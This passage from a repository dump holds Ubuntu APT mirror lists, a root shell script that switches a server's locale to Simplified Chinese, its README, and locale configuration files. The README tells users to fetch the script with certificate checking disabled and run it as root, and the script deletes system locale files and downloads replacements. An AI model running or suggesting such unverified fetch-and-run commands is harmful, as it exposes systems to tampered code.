multiverse 8 | deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-proposed main restricted universe multiverse 9 | deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic main restricted universe multiverse 10 | deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse 11 | deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse 12 | deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-security main restricted universe multiverse 13 | deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-proposed main restricted universe multiverse 14 | #阿里云源 15 | deb http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse 16 | deb http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse 17 | deb http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse 18 | deb http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse 19 | deb http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse 20 | deb-src http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse 21 | deb-src http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse 22 | deb-src http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse 23 | deb-src http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse 24 | deb-src http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse 25 | #清华源 26 | cat > /etc/apt/sources.list << EOF 27 | deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic main restricted universe multiverse 28 | deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse 29 | deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse 30 | deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-security main restricted universe multiverse 31 | deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-proposed main restricted universe multiverse 32 | deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic main restricted universe multiverse 33 | deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse 34 | deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse 35 | deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-security main restricted universe multiverse 36 | deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-proposed main restricted universe multiverse 37 | EOF 38 | *** 39 | 官方 40 | deb http://archive.ubuntu.com/ubuntu/ bionic main restricted universe multiverse 41 | deb http://archive.ubuntu.com/ubuntu/ bionic-updates main restricted universe multiverse 42 | deb http://archive.ubuntu.com/ubuntu/ bionic-backports main restricted universe multiverse 43 | deb http://archive.ubuntu.com/ubuntu/ bionic-security main restricted universe multiverse 44 | deb http://archive.ubuntu.com/ubuntu/ bionic-proposed main restricted universe multiverse 45 | deb-src http://archive.ubuntu.com/ubuntu/ bionic main restricted universe multiverse 46 | deb-src http://archive.ubuntu.com/ubuntu/ bionic-updates main restricted universe multiverse 47 | deb-src http://archive.ubuntu.com/ubuntu/ bionic-backports main restricted universe multiverse 48 | deb-src http://archive.ubuntu.com/ubuntu/ bionic-security main restricted universe multiverse 49 | deb-src http://archive.ubuntu.com/ubuntu/ bionic-proposed main restricted universe multiverse 50 | 51 | -------------------------------------------------------------------------------- /APT/ubuntu20: -------------------------------------------------------------------------------- 1 | #Ubuntu20.04 2 | ---- 3 | #中科大源 4 | deb https://mirrors.ustc.edu.cn/ubuntu/ focal main restricted universe multiverse 5 | deb https://mirrors.ustc.edu.cn/ubuntu/ focal-updates main restricted universe multiverse 6 | deb https://mirrors.ustc.edu.cn/ubuntu/ focal-backports main restricted universe multiverse 7 | deb https://mirrors.ustc.edu.cn/ubuntu/ focal-security main restricted universe multiverse 8 | deb https://mirrors.ustc.edu.cn/ubuntu/ focal-proposed main restricted universe multiverse 9 | deb-src https://mirrors.ustc.edu.cn/ubuntu/ focal main restricted universe multiverse 10 | deb-src https://mirrors.ustc.edu.cn/ubuntu/ focal-updates main restricted universe multiverse 11 | deb-src https://mirrors.ustc.edu.cn/ubuntu/ focal-backports main restricted universe multiverse 12 | deb-src https://mirrors.ustc.edu.cn/ubuntu/ focal-security main restricted universe multiverse 13 | deb-src https://mirrors.ustc.edu.cn/ubuntu/ focal-proposed main restricted universe multiverse 14 | #阿里云源 15 | deb http://mirrors.aliyun.com/ubuntu/ focal main restricted universe multiverse 16 | deb http://mirrors.aliyun.com/ubuntu/ focal-security main restricted universe multiverse 17 | deb http://mirrors.aliyun.com/ubuntu/ focal-updates main restricted universe multiverse 18 | deb http://mirrors.aliyun.com/ubuntu/ focal-proposed main restricted universe multiverse 19 | deb http://mirrors.aliyun.com/ubuntu/ focal-backports main restricted universe multiverse 20 | deb-src http://mirrors.aliyun.com/ubuntu/ focal main restricted universe multiverse 21 | deb-src http://mirrors.aliyun.com/ubuntu/ focal-security main restricted universe multiverse 22 | deb-src http://mirrors.aliyun.com/ubuntu/ focal-updates main restricted universe multiverse 23 | deb-src http://mirrors.aliyun.com/ubuntu/ focal-proposed main restricted universe multiverse 24 | deb-src http://mirrors.aliyun.com/ubuntu/ focal-backports main restricted universe multiverse 25 | #清华源 26 | deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse 27 | deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse 28 | deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse 29 | deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse 30 | deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-proposed main restricted universe multiverse 31 | deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse 32 | deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse 33 | deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse 34 | deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse 35 | deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-proposed main restricted universe multiverse 36 | *** 37 | 官方 38 | deb http://archive.ubuntu.com/ubuntu/ focal main restricted universe multiverse 39 | deb http://archive.ubuntu.com/ubuntu/ focal-updates main restricted universe multiverse 40 | deb http://archive.ubuntu.com/ubuntu/ focal-backports main restricted universe multiverse 41 | deb http://archive.ubuntu.com/ubuntu/ focal-security main restricted universe multiverse 42 | deb http://archive.ubuntu.com/ubuntu/ focal-proposed main restricted universe multiverse 43 | deb-src http://archive.ubuntu.com/ubuntu/ focal main restricted universe multiverse 44 | deb-src http://archive.ubuntu.com/ubuntu/ focal-updates main restricted universe multiverse 45 | deb-src http://archive.ubuntu.com/ubuntu/ focal-backports main restricted universe multiverse 46 | deb-src http://archive.ubuntu.com/ubuntu/ focal-security main restricted universe multiverse 47 | deb-src http://archive.ubuntu.com/ubuntu/ focal-proposed main restricted universe multiverse 48 | -------------------------------------------------------------------------------- /LocaleCN/LocaleCN.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin 3 | export PATH 4 | 5 | # Check System Release 6 | if [ -f /etc/redhat-release ]; then 7 | release="centos" 8 | elif cat /etc/issue | grep -Eqi "debian"; then 9 | release="debian" 10 | elif cat /etc/issue | grep -Eqi "ubuntu"; then 11 | release="ubuntu" 12 | elif cat /etc/issue | grep -Eqi "centos|red hat|redhat"; then 13 | release="centos" 14 | elif cat /proc/version | grep -Eqi "debian"; then 15 | release="debian" 16 | elif cat /proc/version | grep -Eqi "ubuntu"; then 17 | release="ubuntu" 18 | elif cat /proc/version | grep -Eqi "centos|red hat|redhat"; then 19 | release="centos" 20 | fi 21 | 22 | # Check root 23 | [[ $EUID -ne 0 ]] && echo -e "${RED}Error:${PLAIN} This script must be run as root!" && exit 1 24 | 25 | # Install some dependencies 26 | if [ "${release}" == "centos" ]; then 27 | yum -y install wget ca-certificates locales localedef 28 | else 29 | apt-get update 30 | apt-get -y install wget ca-certificates locales 31 | fi 32 | 33 | # Get Word dir 34 | dir=$(pwd) 35 | 36 | # Change Locale 37 | if [ "${release}" == "centos" ]; then 38 | localedef -v -c -i zh_CN -f UTF-8 zh_CN.UTF-8 > /dev/null 2>&1 39 | cd /etc 40 | rm -rf locale.conf 41 | wget https://raw.githubusercontent.com/caippx/bash/master/LocaleCN/locale.conf > /dev/null 2>&1 42 | cp locale.conf locale 43 | cat locale.conf >> /etc/environment 44 | 45 | elif [ "${release}" == "debian" ]; then 46 | rm -rf /etc/locale.gen 47 | rm -rf /etc/default/locale 48 | rm -rf /etc/default/locale.conf 49 | cd /etc/ 50 | wget https://raw.githubusercontent.com/caippx/bash/master/LocaleCN/locale.gen > /dev/null 2>&1 51 | locale-gen 52 | cd /etc/default/ 53 | wget https://raw.githubusercontent.com/caippx/bash/master/LocaleCN/locale.conf > /dev/null 2>&1 54 | cp locale.conf locale 55 | elif [ "${release}" == "ubuntu" ]; then 56 | rm -rf /etc/locale.gen 57 | rm -rf /etc/default/locale 58 | rm -rf /etc/default/locale.conf 59 | cd /etc/ 60 | wget https://raw.githubusercontent.com/caippx/bash/master/LocaleCN/locale.gen > /dev/null 2>&1 61 | locale-gen 62 | cd /etc/default/ 63 | wget https://raw.githubusercontent.com/caippx/bash/master/LocaleCN/locale.conf > /dev/null 2>&1 64 | cp locale.conf locale 65 | fi 66 | 67 | # Echo Success 68 | clear 69 | echo "Your VPS Language setting is changed to Chinese(Simplified)" 70 | echo "Reconnect to your VPS to check it" 71 | echo "" 72 | echo "Powered By zhujiboke.com " 73 | echo "QQ Group: 119612388" 74 | 75 | # Delete self 76 | cd ${dir} 77 | rm -rf LocaleCN.sh 78 | -------------------------------------------------------------------------------- /LocaleCN/README.md: -------------------------------------------------------------------------------- 1 | # LocaleCN 2 | 更改Linux服务器终端显示语言为中文的脚本 3 | 4 | ## 使用前 5 | ![1](before.png) 6 | 7 | ## 使用后 8 | ![2](after.png) 9 | 10 | ## 命令 11 | 12 | wget -N --no-check-certificate https://raw.githubusercontent.com/caippx/bash/master/LocaleCN/LocaleCN.sh && bash LocaleCN.sh 13 | 14 | ## 系统支持 15 | 16 | * Debian 8 / 9 17 | * Ubuntu 14 / 16 18 | * CentOS 6 / 7 19 | 20 | ## 反馈 21 | 22 | 这个脚本在Digital Ocean上面都测试完成了。但是不清楚其他系统是否能测试成功。如果出现无法使用的情况,可以反馈给我。 23 | 24 | * 网站:[zhujiboke.com](https://www.zhujiboke.com) 25 | * QQ群:119612388 26 | * Github Issue 27 | * TG群:[https://t.me/functionclub](https://t.me/functionclub) 28 | 29 | -------------------------------------------------------------------------------- /LocaleCN/after.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/caippx/bash/ff20cdbf1b23cc477280e01f0fb80de2563dc1df/LocaleCN/after.png -------------------------------------------------------------------------------- /LocaleCN/before.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/caippx/bash/ff20cdbf1b23cc477280e01f0fb80de2563dc1df/LocaleCN/before.png -------------------------------------------------------------------------------- /LocaleCN/locale.conf: -------------------------------------------------------------------------------- 1 | LANG=zh_CN.UTF-8 2 | LANGUAGE="zh_CN.UTF-8" 3 | LC_CTYPE="zh_CN.UTF-8" 4 | LC_NUMERIC="zh_CN.UTF-8" 5 | LC_TIME="zh_CN.UTF-8" 6 | LC_COLLATE="zh_CN.UTF-8" 7 | LC_MONETARY="zh_CN.UTF-8" 8 | LC_MESSAGES="zh_CN.UTF-8" 9 | LC_PAPER="zh_CN.UTF-8" 10 | LC_NAME="zh_CN.UTF-8" 11 | LC_ADDRESS="zh_CN.UTF-8" 12 | LC_TELEPHONE="zh_CN.UTF-8" 13 | LC_MEASUREMENT="zh_CN.UTF-8" 14 | LC_IDENTIFICATION="zh_CN.UTF-8" 15 | LC_ALL="zh_CN.UTF-8" 16 | -------------------------------------------------------------------------------- /LocaleCN/locale.gen: -------------------------------------------------------------------------------- 1 | # This file lists locales that you wish to have built. You can find a list 2 | # of valid supported locales at /usr/share/i18n/SUPPORTED, and you can add 3 | # user defined locales to /usr/local/share/i18n/SUPPORTED. If you change 4 | # this file, you need to rerun locale-gen. 5 | 6 | 7 | # aa_DJ ISO-8859-1 8 | # aa_DJ.UTF-8 UTF-8 9 | # aa_ER UTF-8 10 | # aa_ER@saaho UTF-8 11 | # aa_ET UTF-8 12 | # af_ZA ISO-8859-1 13 | # af_ZA.UTF-8 UTF-8 14 | # ak_GH UTF-8 15 | # am_ET UTF-8 16 | # an_ES ISO-8859-15 17 | # an_ES.UTF-8 UTF-8 18 | # anp_IN UTF-8 19 | # ar_AE ISO-8859-6 20 | # ar_AE.UTF-8 UTF-8 21 | # ar_BH ISO-8859-6 22 | # ar_BH.UTF-8 UTF-8 23 | # ar_DZ ISO-8859-6 24 | # ar_DZ.UTF-8 UTF-8 25 | # ar_EG ISO-8859-6 26 | # ar_EG.UTF-8 UTF-8 27 | # ar_IN UTF-8 28 | # ar_IQ ISO-8859-6 29 | # ar_IQ.UTF-8 UTF-8 30 | # ar_JO ISO-8859-6 31 | # ar_JO.UTF-8 UTF-8 32 | # ar_KW ISO-8859-6 33 | # ar_KW.UTF-8 UTF-8 34 | # ar_LB ISO-8859-6 35 | # ar_LB.UTF-8 UTF-8 36 | # ar_LY ISO-8859-6 37 | # ar_LY.UTF-8 UTF-8 38 | # ar_MA ISO-8859-6 39 | # ar_MA.UTF-8 UTF-8 40 | # ar_OM ISO-8859-6 41 | # ar_OM.UTF-8 UTF-8 42 | # ar_QA ISO-8859-6 43 | # ar_QA.UTF-8 UTF-8 44 | # ar_SA ISO-8859-6 45 | # ar_SA.UTF-8 UTF-8 46 | # ar_SD ISO-8859-6 47 | # ar_SD.UTF-8 UTF-8 48 | # ar_SS UTF-8 49 | # ar_SY ISO-8859-6 50 | # ar_SY.UTF-8 UTF-8 51 | # ar_TN ISO-8859-6 52 | # ar_TN.UTF-8 UTF-8 53 | # ar_YE ISO-8859-6 54 | # ar_YE.UTF-8 UTF-8 55 | # as_IN UTF-8 56 | # ast_ES ISO-8859-15 57 | # ast_ES.UTF-8 UTF-8 58 | # ayc_PE UTF-8 59 | # az_AZ UTF-8 60 | # be_BY CP1251 61 | # be_BY.UTF-8 UTF-8 62 | # be_BY@latin UTF-8 63 | # bem_ZM UTF-8 64 | # ber_DZ UTF-8 65 | # ber_MA UTF-8 66 | # bg_BG CP1251 67 | # bg_BG.UTF-8 UTF-8 68 | # bhb_IN.UTF-8 UTF-8 69 | # bho_IN UTF-8 70 | # bn_BD UTF-8 71 | # bn_IN UTF-8 72 | # bo_CN UTF-8 73 | # bo_IN UTF-8 74 | # br_FR ISO-8859-1 75 | # br_FR.UTF-8 UTF-8 76 | # br_FR@euro ISO-8859-15 77 | # brx_IN UTF-8 78 | # bs_BA ISO-8859-2 79 | # bs_BA.UTF-8 UTF-8 80 | # byn_ER UTF-8 81 | # ca_AD ISO-8859-15 82 | # ca_AD.UTF-8 UTF-8 83 | # ca_ES ISO-8859-1 84 | # ca_ES.UTF-8 UTF-8 85 | # ca_ES.UTF-8@valencia UTF-8 86 | # ca_ES@euro ISO-8859-15 87 | # ca_ES@valencia ISO-8859-15 88 | # ca_FR ISO-8859-15 89 | # ca_FR.UTF-8 UTF-8 90 | # ca_IT ISO-8859-15 91 | # ca_IT.UTF-8 UTF-8 92 | # ce_RU UTF-8 93 | # chr_US UTF-8 94 | # cmn_TW UTF-8 95 | # crh_UA UTF-8 96 | # cs_CZ ISO-8859-2 97 | # cs_CZ.UTF-8 UTF-8 98 | # csb_PL UTF-8 99 | # cv_RU UTF-8 100 | # cy_GB ISO-8859-14 101 | # cy_GB.UTF-8 UTF-8 102 | # da_DK ISO-8859-1 103 | # da_DK.UTF-8 UTF-8 104 | # de_AT ISO-8859-1 105 | # de_AT.UTF-8 UTF-8 106 | # de_AT@euro ISO-8859-15 107 | # de_BE ISO-8859-1 108 | # de_BE.UTF-8 UTF-8 109 | # de_BE@euro ISO-8859-15 110 | # de_CH ISO-8859-1 111 | # de_CH.UTF-8 UTF-8 112 | # de_DE ISO-8859-1 113 | # de_DE.UTF-8 UTF-8 114 | # de_DE@euro ISO-8859-15 115 | # de_IT ISO-8859-1 116 | # de_IT.UTF-8 UTF-8 117 | # de_LI.UTF-8 UTF-8 118 | # de_LU ISO-8859-1 119 | # de_LU.UTF-8 UTF-8 120 | # de_LU@euro ISO-8859-15 121 | # doi_IN UTF-8 122 | # dv_MV UTF-8 123 | # dz_BT UTF-8 124 | # el_CY ISO-8859-7 125 | # el_CY.UTF-8 UTF-8 126 | # el_GR ISO-8859-7 127 | # el_GR.UTF-8 UTF-8 128 | # en_AG UTF-8 129 | # en_AU ISO-8859-1 130 | # en_AU.UTF-8 UTF-8 131 | # en_BW ISO-8859-1 132 | # en_BW.UTF-8 UTF-8 133 | # en_CA ISO-8859-1 134 | # en_CA.UTF-8 UTF-8 135 | # en_DK ISO-8859-1 136 | # en_DK.ISO-8859-15 ISO-8859-15 137 | # en_DK.UTF-8 UTF-8 138 | # en_GB ISO-8859-1 139 | # en_GB.ISO-8859-15 ISO-8859-15 140 | # en_GB.UTF-8 UTF-8 141 | # en_HK ISO-8859-1 142 | # en_HK.UTF-8 UTF-8 143 | # en_IE ISO-8859-1 144 | # en_IE.UTF-8 UTF-8 145 | # en_IE@euro ISO-8859-15 146 | # en_IL UTF-8 147 | # en_IN UTF-8 148 | # en_NG UTF-8 149 | # en_NZ ISO-8859-1 150 | # en_NZ.UTF-8 UTF-8 151 | # en_PH ISO-8859-1 152 | # en_PH.UTF-8 UTF-8 153 | # en_SG ISO-8859-1 154 | # en_SG.UTF-8 UTF-8 155 | # en_US ISO-8859-1 156 | # en_US.ISO-8859-15 ISO-8859-15 157 | # en_US.UTF-8 UTF-8 158 | # en_ZA ISO-8859-1 159 | # en_ZA.UTF-8 UTF-8 160 | # en_ZM UTF-8 161 | # en_ZW ISO-8859-1 162 | # en_ZW.UTF-8 UTF-8 163 | # eo UTF-8 164 | # es_AR ISO-8859-1 165 | # es_AR.UTF-8 UTF-8 166 | # es_BO ISO-8859-1 167 | # es_BO.UTF-8 UTF-8 168 | # es_CL ISO-8859-1 169 | # es_CL.UTF-8 UTF-8 170 | # es_CO ISO-8859-1 171 | # es_CO.UTF-8 UTF-8 172 | # es_CR ISO-8859-1 173 | # es_CR.UTF-8 UTF-8 174 | # es_CU UTF-8 175 | # es_DO ISO-8859-1 176 | # es_DO.UTF-8 UTF-8 177 | # es_EC ISO-8859-1 178 | # es_EC.UTF-8 UTF-8 179 | # es_ES ISO-8859-1 180 | # es_ES.UTF-8 UTF-8 181 | # es_ES@euro ISO-8859-15 182 | # es_GT ISO-8859-1 183 | # es_GT.UTF-8 UTF-8 184 | # es_HN ISO-8859-1 185 | # es_HN.UTF-8 UTF-8 186 | # es_MX ISO-8859-1 187 | # es_MX.UTF-8 UTF-8 188 | # es_NI ISO-8859-1 189 | # es_NI.UTF-8 UTF-8 190 | # es_PA ISO-8859-1 191 | # es_PA.UTF-8 UTF-8 192 | # es_PE ISO-8859-1 193 | # es_PE.UTF-8 UTF-8 194 | # es_PR ISO-8859-1 195 | # es_PR.UTF-8 UTF-8 196 | # es_PY ISO-8859-1 197 | # es_PY.UTF-8 UTF-8 198 | # es_SV ISO-8859-1 199 | # es_SV.UTF-8 UTF-8 200 | # es_US ISO-8859-1 201 | # es_US.UTF-8 UTF-8 202 | # es_UY ISO-8859-1 203 | # es_UY.UTF-8 UTF-8 204 | # es_VE ISO-8859-1 205 | # es_VE.UTF-8 UTF-8 206 | # et_EE ISO-8859-1 207 | # et_EE.ISO-8859-15 ISO-8859-15 208 | # et_EE.UTF-8 UTF-8 209 | # eu_ES ISO-8859-1 210 | # eu_ES.UTF-8 UTF-8 211 | # eu_ES@euro ISO-8859-15 212 | # eu_FR ISO-8859-1 213 | # eu_FR.UTF-8 UTF-8 214 | # eu_FR@euro ISO-8859-15 215 | # fa_IR UTF-8 216 | # ff_SN UTF-8 217 | # fi_FI ISO-8859-1 218 | # fi_FI.UTF-8 UTF-8 219 | # fi_FI@euro ISO-8859-15 220 | # fil_PH UTF-8 221 | # fo_FO ISO-8859-1 222 | # fo_FO.UTF-8 UTF-8 223 | # fr_BE ISO-8859-1 224 | # fr_BE.UTF-8 UTF-8 225 | # fr_BE@euro ISO-8859-15 226 | # fr_CA ISO-8859-1 227 | # fr_CA.UTF-8 UTF-8 228 | # fr_CH ISO-8859-1 229 | # fr_CH.UTF-8 UTF-8 230 | # fr_FR ISO-8859-1 231 | # fr_FR.UTF-8 UTF-8 232 | # fr_FR@euro ISO-8859-15 233 | # fr_LU ISO-8859-1 234 | # fr_LU.UTF-8 UTF-8 235 | # fr_LU@euro ISO-8859-15 236 | # fur_IT UTF-8 237 | # fy_DE UTF-8 238 | # fy_NL UTF-8 239 | # ga_IE ISO-8859-1 240 | # ga_IE.UTF-8 UTF-8 241 | # ga_IE@euro ISO-8859-15 242 | # gd_GB ISO-8859-15 243 | # gd_GB.UTF-8 UTF-8 244 | # gez_ER UTF-8 245 | # gez_ER@abegede UTF-8 246 | # gez_ET UTF-8 247 | # gez_ET@abegede UTF-8 248 | # gl_ES ISO-8859-1 249 | # gl_ES.UTF-8 UTF-8 250 | # gl_ES@euro ISO-8859-15 251 | # gu_IN UTF-8 252 | # gv_GB ISO-8859-1 253 | # gv_GB.UTF-8 UTF-8 254 | # ha_NG UTF-8 255 | # hak_TW UTF-8 256 | # he_IL ISO-8859-8 257 | # he_IL.UTF-8 UTF-8 258 | # hi_IN UTF-8 259 | # hne_IN UTF-8 260 | # hr_HR ISO-8859-2 261 | # hr_HR.UTF-8 UTF-8 262 | # hsb_DE ISO-8859-2 263 | # hsb_DE.UTF-8 UTF-8 264 | # ht_HT UTF-8 265 | # hu_HU ISO-8859-2 266 | # hu_HU.UTF-8 UTF-8 267 | # hy_AM UTF-8 268 | # hy_AM.ARMSCII-8 ARMSCII-8 269 | # ia_FR UTF-8 270 | # id_ID ISO-8859-1 271 | # id_ID.UTF-8 UTF-8 272 | # ig_NG UTF-8 273 | # ik_CA UTF-8 274 | # is_IS ISO-8859-1 275 | # is_IS.UTF-8 UTF-8 276 | # it_CH ISO-8859-1 277 | # it_CH.UTF-8 UTF-8 278 | # it_IT ISO-8859-1 279 | # it_IT.UTF-8 UTF-8 280 | # it_IT@euro ISO-8859-15 281 | # iu_CA UTF-8 282 | # ja_JP.EUC-JP EUC-JP 283 | # ja_JP.UTF-8 UTF-8 284 | # ka_GE GEORGIAN-PS 285 | # ka_GE.UTF-8 UTF-8 286 | # kk_KZ PT154 287 | # kk_KZ.RK1048 RK1048 288 | # kk_KZ.UTF-8 UTF-8 289 | # kl_GL ISO-8859-1 290 | # kl_GL.UTF-8 UTF-8 291 | # km_KH UTF-8 292 | # kn_IN UTF-8 293 | # ko_KR.EUC-KR EUC-KR 294 | # ko_KR.UTF-8 UTF-8 295 | # kok_IN UTF-8 296 | # ks_IN UTF-8 297 | # ks_IN@devanagari UTF-8 298 | # ku_TR ISO-8859-9 299 | # ku_TR.UTF-8 UTF-8 300 | # kw_GB ISO-8859-1 301 | # kw_GB.UTF-8 UTF-8 302 | # ky_KG UTF-8 303 | # lb_LU UTF-8 304 | # lg_UG ISO-8859-10 305 | # lg_UG.UTF-8 UTF-8 306 | # li_BE UTF-8 307 | # li_NL UTF-8 308 | # lij_IT UTF-8 309 | # ln_CD UTF-8 310 | # lo_LA UTF-8 311 | # lt_LT ISO-8859-13 312 | # lt_LT.UTF-8 UTF-8 313 | # lv_LV ISO-8859-13 314 | # lv_LV.UTF-8 UTF-8 315 | # lzh_TW UTF-8 316 | # mag_IN UTF-8 317 | # mai_IN UTF-8 318 | # mg_MG ISO-8859-15 319 | # mg_MG.UTF-8 UTF-8 320 | # mhr_RU UTF-8 321 | # mi_NZ ISO-8859-13 322 | # mi_NZ.UTF-8 UTF-8 323 | # mk_MK ISO-8859-5 324 | # mk_MK.UTF-8 UTF-8 325 | # ml_IN UTF-8 326 | # mn_MN UTF-8 327 | # mni_IN UTF-8 328 | # mr_IN UTF-8 329 | # ms_MY ISO-8859-1 330 | # ms_MY.UTF-8 UTF-8 331 | # mt_MT ISO-8859-3 332 | # mt_MT.UTF-8 UTF-8 333 | # my_MM UTF-8 334 | # nan_TW UTF-8 335 | # nan_TW@latin UTF-8 336 | # nb_NO ISO-8859-1 337 | # nb_NO.UTF-8 UTF-8 338 | # nds_DE UTF-8 339 | # nds_NL UTF-8 340 | # ne_NP UTF-8 341 | # nhn_MX UTF-8 342 | # niu_NU UTF-8 343 | # niu_NZ UTF-8 344 | # nl_AW UTF-8 345 | # nl_BE ISO-8859-1 346 | # nl_BE.UTF-8 UTF-8 347 | # nl_BE@euro ISO-8859-15 348 | # nl_NL ISO-8859-1 349 | # nl_NL.UTF-8 UTF-8 350 | # nl_NL@euro ISO-8859-15 351 | # nn_NO ISO-8859-1 352 | # nn_NO.UTF-8 UTF-8 353 | # nr_ZA UTF-8 354 | # nso_ZA UTF-8 355 | # oc_FR ISO-8859-1 356 | # oc_FR.UTF-8 UTF-8 357 | # om_ET UTF-8 358 | # om_KE ISO-8859-1 359 | # om_KE.UTF-8 UTF-8 360 | # or_IN UTF-8 361 | # os_RU UTF-8 362 | # pa_IN UTF-8 363 | # pa_PK UTF-8 364 | # pap_AW UTF-8 365 | # pap_CW UTF-8 366 | # pl_PL ISO-8859-2 367 | # pl_PL.UTF-8 UTF-8 368 | # ps_AF UTF-8 369 | # pt_BR ISO-8859-1 370 | # pt_BR.UTF-8 UTF-8 371 | # pt_PT ISO-8859-1 372 | # pt_PT.UTF-8 UTF-8 373 | # pt_PT@euro ISO-8859-15 374 | # quz_PE UTF-8 375 | # raj_IN UTF-8 376 | # ro_RO ISO-8859-2 377 | # ro_RO.UTF-8 UTF-8 378 | # ru_RU ISO-8859-5 379 | # ru_RU.CP1251 CP1251 380 | # ru_RU.KOI8-R KOI8-R 381 | # ru_RU.UTF-8 UTF-8 382 | # ru_UA KOI8-U 383 | # ru_UA.UTF-8 UTF-8 384 | # rw_RW UTF-8 385 | # sa_IN UTF-8 386 | # sat_IN UTF-8 387 | # sc_IT UTF-8 388 | # sd_IN UTF-8 389 | # sd_IN@devanagari UTF-8 390 | # se_NO UTF-8 391 | # sgs_LT UTF-8 392 | # shs_CA UTF-8 393 | # si_LK UTF-8 394 | # sid_ET UTF-8 395 | # sk_SK ISO-8859-2 396 | # sk_SK.UTF-8 UTF-8 397 | # sl_SI ISO-8859-2 398 | # sl_SI.UTF-8 UTF-8 399 | # so_DJ ISO-8859-1 400 | # so_DJ.UTF-8 UTF-8 401 | # so_ET UTF-8 402 | # so_KE ISO-8859-1 403 | # so_KE.UTF-8 UTF-8 404 | # so_SO ISO-8859-1 405 | # so_SO.UTF-8 UTF-8 406 | # sq_AL ISO-8859-1 407 | # sq_AL.UTF-8 UTF-8 408 | # sq_MK UTF-8 409 | # sr_ME UTF-8 410 | # sr_RS UTF-8 411 | # sr_RS@latin UTF-8 412 | # ss_ZA UTF-8 413 | # st_ZA ISO-8859-1 414 | # st_ZA.UTF-8 UTF-8 415 | # sv_FI ISO-8859-1 416 | # sv_FI.UTF-8 UTF-8 417 | # sv_FI@euro ISO-8859-15 418 | # sv_SE ISO-8859-1 419 | # sv_SE.ISO-8859-15 ISO-8859-15 420 | # sv_SE.UTF-8 UTF-8 421 | # sw_KE UTF-8 422 | # sw_TZ UTF-8 423 | # szl_PL UTF-8 424 | # ta_IN UTF-8 425 | # ta_LK UTF-8 426 | # tcy_IN.UTF-8 UTF-8 427 | # te_IN UTF-8 428 | # tg_TJ KOI8-T 429 | # tg_TJ.UTF-8 UTF-8 430 | # th_TH TIS-620 431 | # th_TH.UTF-8 UTF-8 432 | # the_NP UTF-8 433 | # ti_ER UTF-8 434 | # ti_ET UTF-8 435 | # tig_ER UTF-8 436 | # tk_TM UTF-8 437 | # tl_PH ISO-8859-1 438 | # tl_PH.UTF-8 UTF-8 439 | # tn_ZA UTF-8 440 | # tr_CY ISO-8859-9 441 | # tr_CY.UTF-8 UTF-8 442 | # tr_TR ISO-8859-9 443 | # tr_TR.UTF-8 UTF-8 444 | # ts_ZA UTF-8 445 | # tt_RU UTF-8 446 | # tt_RU@iqtelif UTF-8 447 | # ug_CN UTF-8 448 | # uk_UA KOI8-U 449 | # uk_UA.UTF-8 UTF-8 450 | # unm_US UTF-8 451 | # ur_IN UTF-8 452 | # ur_PK UTF-8 453 | # uz_UZ ISO-8859-1 454 | # uz_UZ.UTF-8 UTF-8 455 | # uz_UZ@cyrillic UTF-8 456 | # ve_ZA UTF-8 457 | # vi_VN UTF-8 458 | # wa_BE ISO-8859-1 459 | # wa_BE.UTF-8 UTF-8 460 | # wa_BE@euro ISO-8859-15 461 | # wae_CH UTF-8 462 | # wal_ET UTF-8 463 | # wo_SN UTF-8 464 | # xh_ZA ISO-8859-1 465 | # xh_ZA.UTF-8 UTF-8 466 | # yi_US CP1255 467 | # yi_US.UTF-8 UTF-8 468 | # yo_NG UTF-8 469 | # yue_HK UTF-8 470 | # zh_CN GB2312 471 | # zh_CN.GB18030 GB18030 472 | # zh_CN.GBK GBK 473 | zh_CN.UTF-8 UTF-8 474 | # zh_HK BIG5-HKSCS 475 | # zh_HK.UTF-8 UTF-8 476 | # zh_SG 